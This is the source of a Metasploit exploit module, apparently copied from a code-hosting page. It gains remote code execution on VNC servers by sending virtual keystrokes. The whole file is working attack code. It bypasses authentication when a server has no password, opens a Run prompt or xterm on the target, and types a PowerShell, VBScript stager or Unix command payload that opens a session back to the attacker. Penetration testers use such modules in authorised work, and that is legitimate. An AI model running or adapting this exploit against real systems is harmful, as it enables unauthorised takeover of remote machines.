Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation'56class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking8WINDOWS_KEY = "\xff\xeb"9ENTER_KEY = "\xff\x0d"1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::CmdStager13include Msf::Exploit::Powershell1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'VNC Keyboard Remote Code Execution',20'Description' => %q{21This module exploits VNC servers by sending virtual keyboard keys and executing22a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager23payload is typed and executed. On Unix/Linux systems a xterm terminal is opened24and a payload is typed and executed.25},26'Author' => [ 'xistence <xistence[at]0x90.nl>' ],27'Privileged' => false,28'License' => MSF_LICENSE,29'Platform' => %w{win unix},30'Targets' => [31[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],32[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],33[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]34],35'References' => [36[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']37],38'DisclosureDate' => '2015-07-10',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50Opt::RPORT(5900),51OptString.new('PASSWORD', [ false, 'The VNC password']),52OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),53OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),54OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])55]56)57end5859def post_auth?60true61end6263def press_key(key)64keyboard_key = "\x04\x01" # Press key65keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data66keyboard_key << key # The keyboard key67# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream68sock.put(keyboard_key)69end7071def release_key(key)72keyboard_key = "\x04\x00" # Release key73keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data74keyboard_key << key # The keyboard key75# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream76sock.put(keyboard_key)77end7879def exec_command(command)80# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer81delay_duration = datastore['TIME_KBD_DELAY']82delay_treshold = datastore['TIME_KBD_THRESHOLD']83delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 084delay_duration = delay_duration.to_f / 100085# Break down command into a sequence of keypresses86values = command.chars.to_a87values.each_with_index do |value, index|88press_key("\x00#{value}")89release_key("\x00#{value}")90sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 091end92press_key(ENTER_KEY)93end9495def start_cmd_prompt96print_status("#{rhost}:#{rport} - Opening Run command")97# Pressing and holding windows key for 1 second98press_key(WINDOWS_KEY)99Rex.select(nil, nil, nil, 1)100# Press the "r" key101press_key("\x00r")102# Now we can release both keys again103release_key("\x00r")104release_key(WINDOWS_KEY)105# Wait a second to open run command window106select(nil, nil, nil, 1)107exec_command('cmd.exe')108# Wait a second for cmd.exe prompt to open109Rex.select(nil, nil, nil, 1)110end111112def exploit113begin114alt_key = "\xff\xe9"115f2_key = "\xff\xbf"116password = datastore['PASSWORD']117118connect119vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)120121unless vnc.handshake122fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")123end124125if password.nil?126print_status("#{rhost}:#{rport} - Bypass authentication")127# The following byte is sent in case the VNC server end doesn't require authentication (empty password)128sock.put("\x10")129else130print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")131if vnc.authenticate(password)132print_status("#{rhost}:#{rport} - Authenticated")133else134fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")135end136end137138# Send shared desktop139unless vnc.send_client_init140fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")141end142143if target.name =~ /VBScript CMDStager/144start_cmd_prompt145print_status("#{rhost}:#{rport} - Typing and executing payload")146execute_cmdstager({ :flavor => :vbs, :linemax => 8100 })147# Exit the CMD prompt148exec_command('exit')149elsif target.name =~ /Powershell/150start_cmd_prompt151print_status("#{rhost}:#{rport} - Typing and executing payload")152command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })153# Execute powershell payload and make sure we exit our CMD prompt154exec_command("#{command} && exit")155elsif target.name =~ /Linux/156print_status("#{rhost}:#{rport} - Opening 'Run Application'")157# Press the ALT key and hold it for a second158press_key(alt_key)159Rex.select(nil, nil, nil, 1)160# Press F2 to start up "Run application"161press_key(f2_key)162# Release ALT + F2163release_key(alt_key)164release_key(f2_key)165# Wait a second for "Run application" to start166Rex.select(nil, nil, nil, 1)167# Start a xterm window168print_status("#{rhost}:#{rport} - Opening xterm")169exec_command('xterm')170# Wait a second for "xterm" to start171Rex.select(nil, nil, nil, 1)172# Execute our payload and exit (close) the xterm window173print_status("#{rhost}:#{rport} - Typing and executing payload")174exec_command("nohup #{payload.encoded} &")175exec_command('exit')176end177178print_status("#{rhost}:#{rport} - Waiting for session...")179(datastore['TIME_WAIT']).times do180Rex.sleep(1)181182# Success! session is here!183break if session_created?184end185rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e186fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")187ensure188disconnect189end190end191192def execute_command(cmd, opts = {})193exec_command(cmd)194end195end196197198